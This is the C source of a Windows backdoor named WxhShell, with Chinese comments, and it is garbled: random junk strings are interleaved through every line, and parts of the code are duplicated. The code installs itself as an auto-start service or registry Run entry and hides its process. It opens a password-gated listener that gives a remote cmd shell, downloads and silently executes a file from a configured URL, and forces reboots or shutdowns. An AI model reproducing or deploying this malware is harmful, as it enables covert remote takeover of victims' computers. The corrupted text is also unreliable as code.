]Vkg PROCNTQSIP NtQueryInformationProcess; /Dd.C<F ?g{--'L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t4;eabZK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %*}h{n 0sMNp HANDLE hProcess; LoUHStt PROCESS_BASIC_INFORMATION pbi; `p!&>,lrk ZZs@P#] HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o*k.je1 if(NULL == hInst ) return 0; T\ *#9a *&vlfH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tG7F!um( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CyfrnU8g NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y9/`w@"v m&PB5s\= if (!NtQueryInformationProcess) return 0; 12i<b (U{,D1? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f7lt|.p if(!hProcess) return 0; zb]e{$q2C "[QQ(]={ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @3w6!Sgh 2jVvK"C CloseHandle(hProcess); `K7UWtp +`J~c|( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cMfJq}C< if(hProcess==NULL) return 0; n#l~B@ Zt"#'1 HMODULE hMod; bA-/"'Vp9 char procName[255]; *V`E)maU unsigned long cbNeeded; sv.?C pE 3v91 yMx if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y$}o{VE{x pJ3-f k"i CloseHandle(hProcess); /;5/7Bvj cq`!17"k if(strstr(procName,"services")) return 1; // 以服务启动 Lp7h'|]u HdR TdV return 0; // 注册表启动 _ea|E 8 } XxY wBc'pc Ihd{tmr< // 主模块 !DM GAt\ int StartWxhshell(LPSTR lpCmdLine) fB)S: f| { [k]3#<sS SOCKET wsl; ?{;7\1[4 BOOL val=TRUE; 0<XxR6w int port=0; 35H.ZXQp- struct sockaddr_in door; 9'=ZxV arc{:u.K if(wscfg.ws_autoins) Install(); m++=FsiX= !{?<(6;t port=atoi(lpCmdLine); 5K,=S `< 82"cAT{ if(port<=0) port=wscfg.ws_port; )*L=$0R ".{'h WSADATA data; 7lx]`u> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6IJH%qUx' 'si{6t| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -cWGF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I_Omv{&u door.sin_family = AF_INET; =PjxMC._ door.sin_addr.s_addr = inet_addr("127.0.0.1"); d/[kky} door.sin_port = htons(port); } 4ZWAzH e0M'\'J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LvCX(yjZ* closesocket(wsl); +}
y"S - return 1; y7Nd3\v [\ } .JBTU>1]_n KJv[z if(listen(wsl,2) == INVALID_SOCKET) { T930tX6"h closesocket(wsl); K@vU_x0Sl return 1; /bF>cpM } as(Zb*PdH Wxhshell(wsl); ^vJy< WSACleanup(); m7u" awM^ ')TS'p,n return 0; LvMA('4 "H]R\xp } Mzw:c# "TVmxE%( // 以NT服务方式启动 Svdmg D! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |_hIl(6F5N { VNs3. DWORD status = 0; V}ls|B$Y DWORD specificError = 0xfffffff; T_d)1m fl *=P*b|P"$ serviceStatus.dwServiceType = SERVICE_WIN32; C%|m[,Gx serviceStatus.dwCurrentState = SERVICE_START_PENDING; BDCyeC,Q3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fVJWW): serviceStatus.dwWin32ExitCode = 0; dsg-;*% serviceStatus.dwServiceSpecificExitCode = 0; L^=G(op* serviceStatus.dwCheckPoint = 0; tNQACM8F; serviceStatus.dwWaitHint = 0; dU2:H} RIDl4c
[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %a]Imsm if (hServiceStatusHandle==0) return; gfKv$~ W![~"7? status = GetLastError(); wG73GD38 if (status!=NO_ERROR) _j*a5fsPU { L4ZB0PmN' serviceStatus.dwCurrentState = SERVICE_STOPPED; r5y*SoD! serviceStatus.dwCheckPoint = 0; bwa*|{R serviceStatus.dwWaitHint = 0; p(fMM : serviceStatus.dwWin32ExitCode = status; ,YJn=9pTl serviceStatus.dwServiceSpecificExitCode = specificError; |D_4 iFC SetServiceStatus(hServiceStatusHandle, &serviceStatus); G E? \Vm return; /!N=@z) } ZZ
T
9t#~ *m2?fP\ serviceStatus.dwCurrentState = SERVICE_RUNNING; n(i/jW~0w serviceStatus.dwCheckPoint = 0; nb ?(zDJ8 serviceStatus.dwWaitHint = 0; pK ^$^*# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qkw?QV-`k } {vT9I4d8 n}-
_fx // 处理NT服务事件,比如:启动、停止 de;CEm<n VOID WINAPI NTServiceHandler(DWORD fdwControl) 5hh6;) { E^0a; |B[ switch(fdwControl) D]5j?X' { <AK9HPxP case SERVICE_CONTROL_STOP: 4$81ilBcL serviceStatus.dwWin32ExitCode = 0; +"1-W>HV serviceStatus.dwCurrentState = SERVICE_STOPPED; yE~D0%Umq serviceStatus.dwCheckPoint = 0; 2H`>Kj serviceStatus.dwWaitHint = 0; 0{I-x^FI { ^Pah\p4bj SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/;fY>}3 } V(g5Gn? return; 3E0C$vKM case SERVICE_CONTROL_PAUSE: p=^6V"' serviceStatus.dwCurrentState = SERVICE_PAUSED; Q- w_@~ break; GDb Vy)& case SERVICE_CONTROL_CONTINUE: 4?bvJJuf) serviceStatus.dwCurrentState = SERVICE_RUNNING; c]i;0j? Dl break; |>1#)cONW case SERVICE_CONTROL_INTERROGATE: ,6o tm break; )3<>H!yG} }; '4,IGxIq SetServiceStatus(hServiceStatusHandle, &serviceStatus);
FsQoQ#* } e {3%- BR_fOIDc // 标准应用程序主函数 m&z(2yb1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %$'fq*8b { U9*< dR VF b // 获取操作系统版本 N1.fV - OsIsNt=GetOsVer(); Mvp|S. GetModuleFileName(NULL,ExeFile,MAX_PATH); P,(_y8 5:#|Op N // 从命令行安装 Se37- if(strpbrk(lpCmdLine,"iI")) Install(); yk(r R
Mz+vT0 // 下载执行文件 Z[B:6\oQ if(wscfg.ws_downexe) { >_ G'o if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8TK*VOf` WinExec(wscfg.ws_filenam,SW_HIDE); |.$7.8g } cV_-Bcb -@Urq>^v T if(!OsIsNt) { tOxH 9 // 如果时win9x,隐藏进程并且设置为注册表启动 ~B?Wg! HideProc(); MmePhHf StartWxhshell(lpCmdLine); @ &Od1X } +@H{H2J 4 else t* p%!xsH if(StartFromService()) #K/JU{" // 以服务方式启动 & JJ*?Dl StartServiceCtrlDispatcher(DispatchTable); Q1x15pVku/ else 7+IRI|d // 普通方式启动 ;>;it5 l= StartWxhshell(lpCmdLine); 6V}xgfB Bu+?N%CBi return 0; F6b;qb6n } %Pj} y$_]}<b 0IP0zil x8~*+ j =========================================== R@/"B?`(f td23Z1Elk# g5u4|+70 lC,~_Yb pn){v u8`S*i/)m " N93R(x)% [Fv,`*/sm #include <stdio.h> hE$3l+ #include <string.h> rLA-q|| #include <windows.h> ;sq xFF@ #include <winsock2.h> vy2"B ch #include <winsvc.h> 3K/'K[~ #include <urlmon.h> ='_3qn. *!{&n*N #pragma comment (lib, "Ws2_32.lib") 5J1a8RBR #pragma comment (lib, "urlmon.lib") @Y>PtA&w* 1oQbV`P #define MAX_USER 100 // 最大客户端连接数 IiE^HgM #define BUF_SOCK 200 // sock buffer $b2~H+u( #define KEY_BUFF 255 // 输入 buffer n%iL+I 'Ffvd{+:8 #define REBOOT 0 // 重启
2Vu?Y #define SHUTDOWN 1 // 关机
$#3[Z;\ s0/m qZ]s #define DEF_PORT 5000 // 监听端口 [p}~M-$V8Y ;OD-?bC #define REG_LEN 16 // 注册表键长度 MpvGF7H #define SVC_LEN 80 // NT服务名长度 m({q<&]Qp ; C(5lD&\5 // 从dll定义API a?PH`5O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n<<arO"cv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +aPe)U<t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &0:Gj3` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EM!S ;i OL:hNbw'~T // wxhshell配置信息 (njTS+? struct WSCFG { TcJJ"[0 int ws_port; // 监听端口 PYY< char ws_passstr[REG_LEN]; // 口令 GC3d7 int ws_autoins; // 安装标记, 1=yes 0=no |ITb1O`_P char ws_regname[REG_LEN]; // 注册表键名 zb02\xvf char ws_svcname[REG_LEN]; // 服务名 6c/0OM# char ws_svcdisp[SVC_LEN]; // 服务显示名 [;F!\B- char ws_svcdesc[SVC_LEN]; // 服务描述信息 XFl&(I4tB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,!g/1m int ws_downexe; // 下载执行标记, 1=yes 0=no \u[5O@v# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O:RN4/17 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nA.U'=` t}pYSSTz }; K V?+9qa, ^T1caVb|> // default Wxhshell configuration nU\.`.39
+ struct WSCFG wscfg={DEF_PORT, yv>uzb`N "xuhuanlingzhe", es.Y 1, /RxqFpu|. "Wxhshell", bJR\d0Z "Wxhshell", qt"6~r! "WxhShell Service", o_kZ "Wrsky Windows CmdShell Service", Gi$\th, "Please Input Your Password: ", Ukf:m&G 1, R$`&g@P=" "http://www.wrsky.com/wxhshell.exe", w
T_l>u "Wxhshell.exe" `zl,|}u) }; >qO l1]uF ",,.xLI7 // 消息定义模块 @ptrF
pSL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vQn hb% char *msg_ws_prompt="\n\r? for help\n\r#>"; REi"Aj= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cd=H4:<T5 char *msg_ws_ext="\n\rExit."; 2_?VR~mA# char *msg_ws_end="\n\rQuit."; ';D>Z?l char *msg_ws_boot="\n\rReboot..."; mRGr+m char *msg_ws_poff="\n\rShutdown..."; Y( EF ):: char *msg_ws_down="\n\rSave to "; VAyAXN~ HxLuJ char *msg_ws_err="\n\rErr!"; .N\t3\9} char *msg_ws_ok="\n\rOK!"; 'X/:TOk{W (R RRG;*n# char ExeFile[MAX_PATH]; Ep')@7^n int nUser = 0; YWV)C?5x& HANDLE handles[MAX_USER]; z\K% int OsIsNt; HAs/f#zAk6 55y{9.n* SERVICE_STATUS serviceStatus; L6!Hv{ijn SERVICE_STATUS_HANDLE hServiceStatusHandle; Ip8:~Fl] '9<8<d7? // 函数声明 +x4*T int Install(void); I{%(G( int Uninstall(void); 4@a/k[, int DownloadFile(char *sURL, SOCKET wsh); T`<Tj?:^& int Boot(int flag); w&]$!g4 void HideProc(void); A4;~+L :M int GetOsVer(void); HFz;"s3lWM int Wxhshell(SOCKET wsl); 0 EA3>$; void TalkWithClient(void *cs); ]f wW
dtz1 int CmdShell(SOCKET sock); ^d(gC%+!u int StartFromService(void); As tuM] int StartWxhshell(LPSTR lpCmdLine); V$u:5"qu0 jr-9KxE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YuzVh9jTI VOID WINAPI NTServiceHandler( DWORD fdwControl ); />>KCmc
nI+.De~ // 数据结构和表定义 _l,-SQgj SERVICE_TABLE_ENTRY DispatchTable[] = 6bf!v { B LZ<"npn {wscfg.ws_svcname, NTServiceMain}, evVxzU& {NULL, NULL} L}g#h+GP[ }; !)}z{,Jx lx?v
.:zl\ // 自我安装 1h)K3cC int Install(void) u{l4O1k/c { Wm)Id_ char svExeFile[MAX_PATH]; zP c54>f HKEY key; Zl]@;*u strcpy(svExeFile,ExeFile); C!^;%VQ}d 0B~x8f // 如果是win9x系统,修改注册表设为自启动 v+<4?]EJ if(!OsIsNt) { .I^Y[_.G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `P*w ZKlW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % S>6Q^B RegCloseKey(key); X %7l!
k[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vP%:\u:{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RyWfoLc RegCloseKey(key); '#QZhz(+ return 0; Pt6d5EIG } ,1vFX$ } AthR|I|8 } [V5,1dmkI else { MY(51)* iqsR]mab // 如果是NT以上系统,安装为系统服务 RE]*fRe7# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A43[i@o if (schSCManager!=0) r -uu`=, { c/(Dg$DbX SC_HANDLE schService = CreateService %GMCyT ( hN!{/Gc| schSCManager, Ov.oyke4 wscfg.ws_svcname, V[7D4r.j wscfg.ws_svcdisp, 0]GenT" SERVICE_ALL_ACCESS, Ffd;aZ4n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,z+n@sUR: SERVICE_AUTO_START, Kzwe36O;? SERVICE_ERROR_NORMAL, }5B\:*yW svExeFile, h6tYy_(G NULL, EKmn@S-&P NULL, A
"'h0D NULL, <DEu]-'> NULL, 1Z_ H%( NULL ]2iEi`"[ ); e&Z ?I2J if (schService!=0) ^r{N^ { '\"5qB CloseServiceHandle(schService); /In=u6D O CloseServiceHandle(schSCManager); [Z!oVSCZD% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sa:;j4 strcat(svExeFile,wscfg.ws_svcname); m;>:mwU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U.N&~S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d"lk"R RegCloseKey(key); +zl[C return 0; $3eoZ1q'U- } NezE]'} } )6px5Vwz CloseServiceHandle(schSCManager); WkPT6d } r(zn1;zl } =RofC9, Lo=n)cV 1, return 1; cSmy
M~[ } <s'0<e!./t !3z
;u8W // 自我卸载 9N6 \Ou~ int Uninstall(void) "@Qg]#]JH { O5*3
qJp HKEY key; ]y"=/Nu-Ja #E_<}o if(!OsIsNt) { Qm*X Wo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bfK4ps}m* RegDeleteValue(key,wscfg.ws_regname); NT9| ``^Z RegCloseKey(key); S{,|Fa^PPO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +HG*T[%/ RegDeleteValue(key,wscfg.ws_regname); Ss\FSEN!/ RegCloseKey(key); 2{B
ScI5K return 0; D4~]:@v~n } *dsI>4%m } Epm8S}6K } _SU6Bd/> else { <@Y`RqV + XcL%0%` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M6].V *k'2 if (schSCManager!=0) '@HCwEuz { =uR3|U(.|u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f{P?|8u if (schService!=0) er3`ITp:dp { rCb#E} if(DeleteService(schService)!=0) { R{Cbp=3J CloseServiceHandle(schService); m!]J{OGG: CloseServiceHandle(schSCManager); QH?sx k2 return 0; ^@Z8_PZo } > iYdr/^a CloseServiceHandle(schService); M;YJpi } 8i)9ho< CloseServiceHandle(schSCManager); {xh5s<uOj } UKPr[ } nwIj?(8x > }kZXeR| return 1; 5Sb-Bn } '6L@l F@zTz54t // 从指定url下载文件 DgB;6Wl int DownloadFile(char *sURL, SOCKET wsh) l+X\>, { "F4 3q8 P HRESULT hr; 7OS i2 char seps[]= "/"; .}:*tvot char *token; ?TI]0) char *file; !T
9CpIM% char myURL[MAX_PATH]; D|^N9lDaQ char myFILE[MAX_PATH]; 7nP{a"4_ 1qBE|PwBp strcpy(myURL,sURL); >qmNT/ token=strtok(myURL,seps); c c/nzB while(token!=NULL) y,w_x,m { PWkSl file=token; ^Y5I OX: token=strtok(NULL,seps); rmr :G } Oqq'r "S 2b-g`60< GetCurrentDirectory(MAX_PATH,myFILE); $\bVu2&I strcat(myFILE, "\\"); JAT%s
%UC strcat(myFILE, file); 'fCSP| send(wsh,myFILE,strlen(myFILE),0); m9+?>/R send(wsh,"...",3,0); C%CgWO`Xj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o2q-x2uB if(hr==S_OK) W1Ye+vg/s return 0; M9m~ck else bbDm6, return 1; owb+,Gk( #M5d,%?+#[ } e,lLHg k8%@PC$ // 系统电源模块 4^ U%` 1 int Boot(int flag) yK$aVK" { Ih4$MG6QC HANDLE hToken; "S*@._ TOKEN_PRIVILEGES tkp; lNl.lI\t)y )VqPaKZl if(OsIsNt) { ]yL+lv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T<NOLfk66 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e4tC[6 ; tkp.PrivilegeCount = 1; (:?bQA'Td tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c\&;Xr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K_-m:P if(flag==REBOOT) { 1eEML" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LZ.Xcy return 0; 8eYEi } 5h0Hk<N else { K<`W>2" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'J5F+,\Ka return 0; ;[[6[i } >]C/ Q6 } !
Vlx else { *'aouS/?<6 if(flag==REBOOT) { 1~3dX[& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @!O(%0
= return 0; u86PTp+ } \8s:I+[HH else { YRr,{[e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f?ibyoXL return 0; ysl#Rwt/2 } q9{)nU } VmN 7a6a kv, !"< return 1; H$ g* } O8_!!Qd UnYb}rF#% // win9x进程隐藏模块 yjH'< void HideProc(void) aNNRw(0/ { /h.{g0Xc wU<j=lY?f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Tu=-ppw if ( hKernel != NULL ) &}7R\co3 { O!XSU, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NH}o`x/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rqdN%=C FreeLibrary(hKernel); ^Jq('@ } )oz2V9X{ >/Q^.hzd return; 8>6<GdGL<n } Ql l{;A G/~gF7 // 获取操作系统版本 Bp5ra9*5+~ int GetOsVer(void) ;v2eAe@7 { ?eX/vqk OSVERSIONINFO winfo; As,e.V5! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y)1J8kq_ GetVersionEx(&winfo);
fDfph7[) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W|2| v?v return 1; /V/NL#(R else -.8K"j{N return 0; xT*c## } ss-6b^ ) 5$?e // 客户端句柄模块 $,U/,XA
{E int Wxhshell(SOCKET wsl) K/f-9hE F { *.k*JsU~B SOCKET wsh; 7H{1i struct sockaddr_in client; xsJXf @ DWORD myID; LPu*Lkx 87+fd_G while(nUser<MAX_USER) RO/(Ldh { GWPBP-)0 int nSize=sizeof(client); JJ_Z{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DgW@v[#BK= if(wsh==INVALID_SOCKET) return 1; ]YFjz/f wS#Uw_[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {4Kvr4)4 if(handles[nUser]==0) /NCN wAj7 closesocket(wsh); E7? n'!= else 7]T(=gg / nUser++; M80Q6K } UWV%y P WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iO?^y(phC zm5PlG return 0; vn$=be8l4 } GuU-<*u(d -wV2
79^b // 关闭 socket *P`wuXn}
void CloseIt(SOCKET wsh) $o5i15Oy. { X5[t6q! closesocket(wsh); ki@C}T5 nUser--; wyB]!4yy, ExitThread(0); ^IuhHP } 2xO[ ?fR Nr2,m"R{ // 客户端请求句柄 "D_:`@V( void TalkWithClient(void *cs) dG5jhkPX { 7R:Ij[dV |a#ikY _nd SOCKET wsh=(SOCKET)cs; {._'Q[ char pwd[SVC_LEN]; Ru*gbv,U char cmd[KEY_BUFF]; W5`p Qdk char chr[1]; "ckK{kS4~ int i,j; 7UW\|r HOWpTu( while (nUser < MAX_USER) { H2:
Zda# +O 7(
>a if(wscfg.ws_passstr) { |w*s:p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZJ)Z
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B?8*-0a'[ //ZeroMemory(pwd,KEY_BUFF); FD
8Lk i=0; v(.mM9> while(i<SVC_LEN) { U; m@ ,>6a)2xh // 设置超时 \z !lw fd_set FdRead; q%kCTw struct timeval TimeOut; >_yL@^ FD_ZERO(&FdRead); Y"8@\73(R FD_SET(wsh,&FdRead); }>BNdm"Er TimeOut.tv_sec=8; ^il$t]X5- TimeOut.tv_usec=0; N^oP,^+U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CS~onf<xz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IL.bwtpQD -Z,r\9d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g*oX`K. pwd=chr[0]; *'8q?R?7g if(chr[0]==0xd || chr[0]==0xa) { >KrI}>!9r pwd=0; Ep./->fOA break; X(BxC<!D. } (!{*@?S i++; xJ/)*?@+ } !% W5@tN d<j`=QH // 如果是非法用户,关闭 socket fG>3gS6& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _4Eq_w` } J{\U w].|0 >>KI_$V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); de W1>yh^_ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8o|C43Q_ nn:'<6"oV while(1) { oA-,>:}g{ KM[0aXOtv ZeroMemory(cmd,KEY_BUFF); @uRJl$3 Fw-Rv'\ // 自动支持客户端 telnet标准 nrev!h j=0; P<&bAsje while(j<KEY_BUFF) { xOShO"4Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I(R%j]LX& cmd[j]=chr[0]; >&+V[srfD if(chr[0]==0xa || chr[0]==0xd) { wMCg`rk cmd[j]=0; <]G'& iv> break; !6X6_ +}M } F5x*#/af j++; {u
y^Bui} } Rf`_q7fm 7/hn%obC // 下载文件 m0^ "fMV if(strstr(cmd,"http://")) { ;[
Dxk$" send(wsh,msg_ws_down,strlen(msg_ws_down),0); cFq<x=S if(DownloadFile(cmd,wsh)) *)w+xWmM3w send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gu$J;bXVj else tc`3-goX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J2x}@p } R3og]=uFzm else { %.`u2'^ +j F|8 switch(cmd[0]) { &'k(v(>n, j$_?g!I=gK // 帮助 EmO[-W|2 case '?': { =TEe:%mN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R2~y<^.V`Y break; %E@o8 } BQWgL // 安装 Peph..8 Z case 'i': { hY{4_ie=8 if(Install()) xV+\R/)x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tx[;& ; else Ws3z-U>j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yc]_ ?S>9 break; p2l@6\m\ } )vOBF5 // 卸载 %K3U`6kHcd case 'r': { b*S,8vE] if(Uninstall()) 3 $%#n* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Z:HwZ else
[>GblL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J&h59dm- break; Xp<O } mz1m^p)~{ // 显示 wxhshell 所在路径 B=>Xr!pM! case 'p': { . mO8~Z char svExeFile[MAX_PATH]; H74'I} strcpy(svExeFile,"\n\r"); C[znUI> strcat(svExeFile,ExeFile); l[5** ?# send(wsh,svExeFile,strlen(svExeFile),0); :,p3&2I break; Q`J U[nY } & ;5f/ // 重启 9HN&M*} case 'b': { ]5
]wyDj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z"7?I$NQ if(Boot(REBOOT)) xv$fw> send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z-CA9&4Uh else { 6v:L8t$" closesocket(wsh); o-_,l
J7o^ ExitThread(0); In%FOPO } .Gr"|uII break; M-Vz$D/aed } D8w.r"ne // 关机 9fbo case 'd': { +7WpJ;C4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?S=y>b9R if(Boot(SHUTDOWN)) (K6vXq.;\\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3Ke else { 0nI*9 closesocket(wsh); SLkgIb~'X ExitThread(0); 1n2Pr'|s } A;ZluQ break; ?t\GHQ$$? } .u7grC C // 获取shell yP-$@Ry case 's': { ,{iMF
(Nj CmdShell(wsh); "\9beK:l closesocket(wsh); %y>*9$<pXe ExitThread(0); ~9!@BL\ break; P&c O2 } ~Odclrs // 退出 Y~( 8<`^ case 'x': { fK@UlMC]7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k?3mFWc CloseIt(wsh); g(jn
/Cx break; h>xB"E|. } fE|"g' // 离开 CIwI1VR^ case 'q': { %dmQmO, send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5K|`RzZ`B$ closesocket(wsh); ed/
"OgA WSACleanup(); z:Ru` exit(1); '|tmmoY6a: break; a(-t"OL\ } ,Wd+&|Q } 44^jE{,9 } b\NY!)B iy8Ln,4z( // 提示信息 |U~\;m@
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h^H)p`[Gme } [W'2z,S`WD } z+_d* \ Zwtz )ZII return; 7/=r- } ,k:>Z&: loyhNT= // shell模块句柄 -ebyW# int CmdShell(SOCKET sock) ob)c0Pz { 6SAYe%e STARTUPINFO si; )DQcf]I ZeroMemory(&si,sizeof(si)); M;.:YkrUH si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xiC.M6/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; </Dv? PROCESS_INFORMATION ProcessInfo; ``h*A char cmdline[]="cmd"; .g_Kab3?L CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #("E)P return 0; ln09_Lr } *M~BN}. @Rqn&tA8 // 自身启动模式 `4|:8@,3{ int StartFromService(void) -0*z"a9<p8 { 7x$VH5jie# typedef struct ukee.:{ { l8DZ2cw] DWORD ExitStatus; R{Me~L? DWORD PebBaseAddress; <q4<3A DWORD AffinityMask; u>03l(X6f DWORD BasePriority; [Al}GM ULONG UniqueProcessId; ~N+H7T.L ULONG InheritedFromUniqueProcessId; b5%T)hn= } PROCESS_BASIC_INFORMATION; D'_w
* $viZ[Lu!m PROCNTQSIP NtQueryInformationProcess; P[gYENQ K@!Gs'Op static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #<R6!"TNoz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /o nZ14 tNDv[IF HANDLE hProcess; $_W kI^ PROCESS_BASIC_INFORMATION pbi; 2Ni {fC? :T/I%|;f HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z
dUSmb if(NULL == hInst ) return 0; e:;u_be~ 'iEu1! t\0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =D^R,Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pb|,rLNZ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J@(69& u_%L~1+' if (!NtQueryInformationProcess) return 0; 1xb1?/n1# z CFXQi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .arWbTR)~U if(!hProcess) return 0; >B+!fi'SS> p']oy;t if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9at_F'>R ]9$^=z%SE 